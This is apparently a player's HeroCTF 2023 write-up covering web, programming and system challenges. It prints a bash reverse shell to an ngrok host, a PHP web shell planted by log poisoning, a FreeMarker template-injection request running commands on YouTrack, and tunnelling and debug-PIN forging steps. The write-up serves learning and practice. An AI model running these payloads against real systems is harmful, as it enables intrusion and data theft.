➜ ~

Playing Hacks and Stuffs!


Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

HeroCTF '23

Here are the challenges I was able to solve:

P.S:- The scoreboard was dynamic

Challenges Solved

Prog

System

Web

Prog

Math Trap

image

Since we’re given a remote service to connect to let us see what it does

Connecting to it shows this image

We’re asked a calculation

I used python to evaluate the question and then after getting the answer and giving the remote service the answer I got this image

I got Too Slow so basically we need to solve each math it gives

And doing this manually is not possible cause it also checks the answer received with time

The way forward is by scripting it and that’s what I did

Here’s my solve script it’s not really well scripted but it does the job 😄

Running it gives the flag image image

Flag: Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}

Web

Referrrrer

image

After downloading the source code and unzipping it I got this image

Reading the source code shows this image

So basically there are just two endpoints which are / and /admin

Querying / just returns the string Hello World

But when you query /admin it checks for the referer header and compares it with the value YOU_SHOUD_NOT_PASS!

If the check is right we get the flag but if it isn’t we get Wrong header!

Also here’s the nginx config image

Basically we can see that if we query the admin endpoint it checks if the referer header is https://admin.internal.com

If it isn’t it returns 403

Now the problem is for us to get the flag we need to set the referer header to YOU_SHOUD_NOT_PASS! but we also need to meet the nginx config check

After I researched about referer header I got to know that both referer and referrer can be used in expressjs

Here’s the resource

So now we can pass the two checks sweet 😄 image

Flag: Hero{ba7b97ae00a760b44cc8c761e6d4535b}

Drink from my Flask#1

image

After i deployed the instance going over to the web server shows this image

Looks like we can calculate stuff and yea we can image

At first I was thinking of python code injection but after hours it failed 😹

So lets see what we’ve got

Checking the cookie reveals this jwt token image

Decoding it using jwt.io gives this image

Notice the data value:

{
  "role": "guest"
}

I’ll try brute forcing the jwt token key and I got the SECRET key to be key image

Now we can sign a new token as user admin

But before that trying to access an invalid page returns this image

It shows that the valid paths are / and /adminPage

Notice also how the url path is reflected back to us

Trying basic SSTI payload works image

But let’s see the adminPage endpoint image

We notice that it reflects back the role value for the jwt token

So what i tried was using a ssti payload as the username signing the token using the SECRET key as key then replacing it with my token image image

It works so there’s ssti both on the url path and the role value in the jwt token

But trying a payload gotten from PayloadAllTheThings doesn’t work when i used it in the url image

But when used in the jwt token It works image image

If you notice doing that manually is quite stressfull so with the help of google I searched on how to sign a key with python and i made this script

Using it I can execute command image

Time for a reverse shell

I had to edit my ngrok config file to tunnel 3 connections

version: "2"
authtoken: [REDACTED]

tunnels:
  app-0x:
    addr: 80
    proto: tcp
  app-dead:
    addr: 443
    proto: tcp
  app-beef:
    addr: 1337
    proto: http

Now I made it start all 3 tunnels image

Back on getting shell here’s my payloads

I stored this in a file called lol.sh

sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/19990 0>&1

Then i started a python web server on that same directory and used this, btw I also hosted a nc listener on port 443

python3 ssti.py http://dyn-02.heroctf.fr:14278 ""
python3 ssti.py http://dyn-02.heroctf.fr:14278 ""
python3 ssti.py http://dyn-02.heroctf.fr:14278 ""

From there I got shell image image

And we have the flag image

Flag: Hero{sst1_fl4v0ur3d_c0Ok1e}

System

Chm0d

image

I had to first deploy an instance image

Now I logged in using the cred given image

Checking the / directory shows that the flag is there image

And noticing the permission set on it shows this image

At the moment we don’t have any read/write/execute permission over the file

But since the file is owned by us so, we can change the permission set on it using chmod

Trying it gives permission denied image

Hmmmmm let us see what permission is set on the chmod binary image

Dang it’s permission is the same as the flag.txt file and since the binary is owned by root we can’t change it

At this point I taught I had to do privilege escalation so using scp I transferred linpeas.sh to the box image

I immediately noticed that the linpeas i transferred has execute permission set on it

So maybe any file that is transferred to the box will automatically have execute perm set on it

This is good cause now I can upload my own machine chmod binary to the box then run it

Doing that works image

Now that we have chmod binary on it which has execute permission we can then change the permission on the flag file then read it image

Flag: Hero{chmod_1337_would_have_been_easier}

IMF#0: Your mission, should you choose to accept it

image image

This is just the message asking if we accept the upcoming mission

And the flag is just right there

Flag: Hero{I_4cc3pt_th3_m1ss10n}

SUDOkLu

image

First I started an instance image

Then i logged in to ssh image

We know that the goal is to read the file at /home/privilegeduser/flag.txt

But we are currently user user so we will be doing some privilege escalation

Checking for sudo permission shows that we can run /usr/bin/socket as user privilegeduser image

Moving over to gtfobins shows that we can get a reverse shell via the socket binary image

We were given the internal IP for the machine and luckily there’s netcat on the machine image

So we’ll be using nc to catch the reverse shell

I ssh to another session where my reverse shell will be caught image

And we get the flag

Flag: Hero{ch3ck_f0r_m1sc0nf1gur4t1on5}

IMF#1: Bug Hunting

image

I started an instance as usual first image

Remember initially we were given the cred to ssh which is bob:password

We’re given two boxes attempting to login to ssh with the first host fails image

But for the second one it works image

There’s a welcome.txt in the user’s home directory

Checking it’s content gives this image

Hi Bob!

Welcome to our firm. I'm Dave, the tech lead here. We are going to be working together on our app.

Unfortunately, I will be on leave when you arrive. So take the first few days to get familiar with our infrastructure, and tools.

We are using YouTrack as our main issue tracker. The app runs on this machine (port 8080). We are both going to use the "dev" account at first, but I will create a separate account for you later. There is also an admin account, but that's for our boss. The credentials are: "dev:aff6d5527753386eaf09".

The development server with the codebase is offline for a few days due to a hardware failure on our hosting provider's side, but don't worry about that for now.

We also have a backup server, that is supposed to backup the main app's code (but it doesn't at the time) and also the YouTrack configuration and data.

Only I have an account to access it, but you won't need it. If you really have to see if everything is running fine, I made a little utility that run's on a web server.

The command to check the logs is:
curl backup

The first backups might be messed up a bit, a lot bigger than the rest, they occured while I was setting up YouTrack with it's administration account.
Hope you find everything to you liking, and welcome again!

Dave

After reading it here’s what I understood from it:

Since there’s a web server hosted locally and it is running YouTrack, I used ssh portforward to make it accessible to my host image

Command: ssh -L 8000:127.0.0.1:8080 bob@dyn-05.heroctf.fr -p13654

We can confirmed it worked by scanning our host image

Dave gave us the dev user credential to be dev:aff6d5527753386eaf09

Moving over to my web browser shows a login page image

Using the credential works image

Next thing I noticed is the verson of the web app which is:

YouTrack 2020.5.2579 

Searching for exploits leads here image image

But after reading the exploit which is basically exploiting Server Side Template Injection (SSTI) it requires a privileged admin user account and our account isn’t an admin account so let us put this aside for now

Looking through the web app shows this issue page image

Clicking on the first issue gives the flag image

Flag: Hero{1_tr4ck_y0u_tr4ck_h3_tr4ck5}

IMF#2: A woman’s weapon

image

I got third blood in this challenge hahaha 🩸 image

Now back to the web app

The other issues are not of importance except this one image

It’s talking about the Backup Log checking utility and remember that Dave said there’s a backup server

I downloaded the script to my host and here’s the content image

<?php
    $file = $_GET['file'];
    if(isset($file))
    {
        include("$file");
    }
    else
    {
        include("/var/log/backup.log");
    }
?>

Now if you remember that Dave said the command to check the log is curl backup so this means that backup is a web server running on port 80

Pinging it from the host we currently have access to shows this image

So basically this is the second host as we can tell from it’s ip i.e the box that when we tried loggin to ssh didn’t work

For us to access the host we need to port forward it image

Now we can access it from our host image

But it returns the backup log file and this is intended cause no file parameter was passed in the url

Back to the script we can see it uses include to get the content of the file passed in the $file parameter and this vulnerable to Local File Inclusion (LFI) due to the usage of include

Let us confirm it first image

Cool it works. At this point let’s further exploit this vulnerability to get Remote Code Execution (RCE)

There are various ways or achieving this but in this case i’ll go with Log Poisoning

First lets determine what web server this web app is built on

Using wappalyser extension i achieved that though you can use nmap,curl,http-header to fingerprint that image

The web server is Nginx. This is needed cause for log poisoning, we need to know where the log files are placed

And from Nginx it’s default is:

/var/log/nginx/access.log

Including the log file works image

So let us go ahead with the attack

I used burp to work with the header manipulation image

First thing to do is to inject this php code in the user-agent header image

<?php system($_GET['cmd']); ?>

Also forward the request at least three times for it to appear in the log file

From here we can get code execution image

Looking at the result we see that we are user www-data

Let us get a reverse shell.

Since there’s already nc on the other host, I just used it to host a python web server which contains a file lol.sh and the file content is that of a bash reverse shell image image

Now i will make the file at /tmp/lol.sh executable then run it and hope to catch my reverse shell in my listener image image

Back on our listener for our shell fingers crossed 🤞 image

Let us now stabilize it using python image

User www-data is less privileged so lets see how we can escalate privilege

Running sudo -l shows that user www-data can run /usr/bin/rsync as user backup image

Moving over to gtfobins shows a way we can abuse the permission to get shell image

Trying it works image

Now that we are user backup lets see what we have access to image image

Nice let’s see what’s in /backup image

Our flag is in there also image

Flag: Hero{n0t_0nly_hum4ns_c4n_b3_po1s3n3d}

IMF#3: admin:admin

image

I got 2nd blood on this challenge 🩸 image

From the challenge description it seems we’re to find credential of the admin user

And looking at our current working directory shows multiple zip files image

If we were to find a password it would be quite stressfull as this zip files are much

But now remember the hint from the note Dave gave:

The first backups might be messed up a bit, a lot bigger than the rest, they occured while I was setting up YouTrack with it's administration account.
Hope you find everything to you liking, and welcome again!

This is great cause now we can limit our search to a precise file

And what we can use is the file size and also date

Looking at the result we can see that the best zip file to be searched is youtrack-1683836642.zip image

Reason is because:

Now that we’ve proposed our theory let us now unzip it image

Searching through each of the files is stressfull so I used grep to recursively search for the string password image

We see a password which looks like what a real admin would use haha

So the cred is likely admin:Th1sIsAV3ryS3cur3Adm1nP4ssw0rd0101#

Since Dave was referring to the cred of the YouTrack web service let us try logging in as admin using this newly found password image image

Cool since we’re admin we can further exploit this web app

Remember that we got a vulnerability which took exploited the web app via SSTI

Following the instruction lead to remote code execution image image

We are user dave

I made it list the files in dave’s directory image

From here we can cat the file image

Here’s my request

POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8000/admin/notificationTemplates/article_digest_subject
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1683981421136.be561191-dbd3-4457-86f5-592c273d3a82.1e31bb66-596d-41d6-9137-09b74c484055.be561191-dbd3-4457-86f5-592c273d3a82 6ab631e2-61a7-4806-b029-44f0753fc29a 0-0-0-0-0;1.MCwCFEzJ/cvlsEpm0ynQY+gvxuTKdWzzAhQeiLQA+N86lO1dXGbNEVtoBGuacw==
Content-Length: 421
Origin: http://localhost:8000
Connection: close
Cookie: i_like_gogs=8e9ae9c0377d4e18; i_like_gitea=f8bf16c31150322e; lang=en-US; YTJSESSIONID=node0dmm9xnxqzju510a8uh9375heq13.node0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{
  "template": {
      "fileName": "article_digest_subject.ftl",
      "content":"<#assign classloader=article.class.protectionDomain.classLoader><#assign owc=classloader.loadClass(\"freemarker.template.ObjectWrapper\")><#assign dwf=owc.getField(\"DEFAULT_WRAPPER\").get(null)><#assign ec=classloader.loadClass(\"freemarker.template.utility.Execute\")>${dwf.newInstance(ec,null)(\"cat /home/dave/flag.txt\")}"
  }
}

And here’s the flag:

Flag: Hero{pl41nt3xt_p4ssw0rd_4nd_s5t1_b1t_much_41nt_1t?}

IMF#4: Put the past behind

image

I got 2nd blood on this challenge also 🩸 image

Let us get this over with 🙂

Since we already have code execution on the box let’s see if we can get shell

I checked if there was any ssh key for user dave and there wasn’t image image

But I noticed a file randomfile.txt.enc and also .bash_history in the user dave directory so i copied it to /tmp image image image

Back on the box we can now access the file image

We see that this is the command used to create the radnomfile.txt.enc:

openssl aes-256-cbc -salt -k Sup3r53cr3tP4ssw0rd -in randomfile.txt -out randomfile.txt.enc

It’s using open ssl aes encryption to decrypt it this is the command:

openssl aes-256-cbc -d -salt -k Sup3r53cr3tP4ssw0rd -in randomfile.txt.enc -out randomfile.txt.dec

Running that decrypts the file and I got the flag image

Flag: Hero{4_l1ttle_h1st0ry_l3ss0n_4_u}

Drink from my Flask#2

image

This was rated Hard and it was very hard to me lol 😹

Since this is a continuation of the Flask#1 box lets see what we can do

Going over to the user’s home directory shows the flag but we don’t have access over it image

Checking the content of the reboot script shows this image

if [ `ps -aux | grep -E ".*/usr/bin/python3 /var/www/dev/app.py" | wc -l` != "2" ]
then
    pkill python3 -U 1000
    /usr/bin/python3 /var/www/dev/app.py # This dev app is not exposed, it's ok to run it as myself  
fi

The script checks if /var/www/app/app.py is running, and if not, kills every owned python3 process and restarts the app. Since the cron deamon is running, it’s pretty safe to assume that there is cronjob running this script at a regular interval.

And also cron is running image

Reading the file shows that it’s like the same vulnerable ssti source code image image

And it’s running internally on port 5000

What I did while trying it was to port forward it to my host to see if it was vulnerable to ssti but it wasn’t

And the reason is here: image

The way it is formatted isn’t the same as the one in the vulnerable app.py image

Also it’s running internally on port 5000

There’s another thing to notice image

A urandom file is stored in the config directory which is symbolically linked with /dev/urandom 🤔

Well let’s see……

The internal web server running on port 5000 has Debug set to True image

That means that /console would be open

But we would need a key to unlock the prompt

It is easy to recreate the key since we have access to the box already

From this HackTricks blog shows how it can be done

But the problem is when we read the debug/init.py file located here:

Path: /usr/local/lib/python3.10/dist-packages/werkzeug/debug/__init__.py

It shows this:

def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdecimal():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
        open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING
    ]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

Notice the private bits variable

    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
        open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING
    ]

We know that to get the pin we need the private bits and also the public bits which is easy to get:

probably_public_bits = [
    'flaskdev',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

How i got the path of the app.py is by causing an error by trying to divide a number by zero image

Let us first get the other required private bit values image image

Now back to the private bit from the init.py file

    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
        open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING
    ]

We see that the developer included another value which reads in 16 bytes from the urandom binary located at /var/www/config/urandom

That is very impossible to guess but good thing is that we have full permission over that directory image

So the idea is that we can remove that binary then put null bytes into it, then when the script forms the new pin when cron runs it will then be predictable image

Now that we have all this let us get the pin

Here’s the script I used

Running it gives the key image

With this we can port forward the internal server on port 5000 to our host

First I had to upload chisel to the box image

But we will need to restart the web app on another port since it kills every owned python3 process and restarts the app. Since the cron deamon is running, it’s pretty safe to assume that there is cronjob running this script at a regular interval. There is subtility to note here. As we saw in the previous challenge Flask#1 , flaskdev is not the best developer there is. His mistake in this script was to check for every instance of the app running, regardless of the user who launched it, and to make a strict comparison to 2. This means that if we run the app with our current user, the script will find 3 lines in the output of ps -aux, and will kill it’s own app, only to restart it moments later.

Let’s restart the app with the knowledge we acquired earlier when analysing the reboot_flask.sh script. We have to run the app on a different port, since 5000 is already in use. image

After a minute, flaskdev’s instance should have rebooted, we can kill our own.

To port forward is this way:

Host: chisel server -p 80 --reverse
Target: ./chisel client 7.tcp.eu.ngrok.io:11451 R:8001:127.0.0.1:1337 &

We can now access the debugging console and get the flag.

>>> import os ; os.popen('cat /home/flaskdev/flag.txt').read()
'Hero{n0t_s0_Urandom_4ft3r_4ll}\n'

And we’re done 👻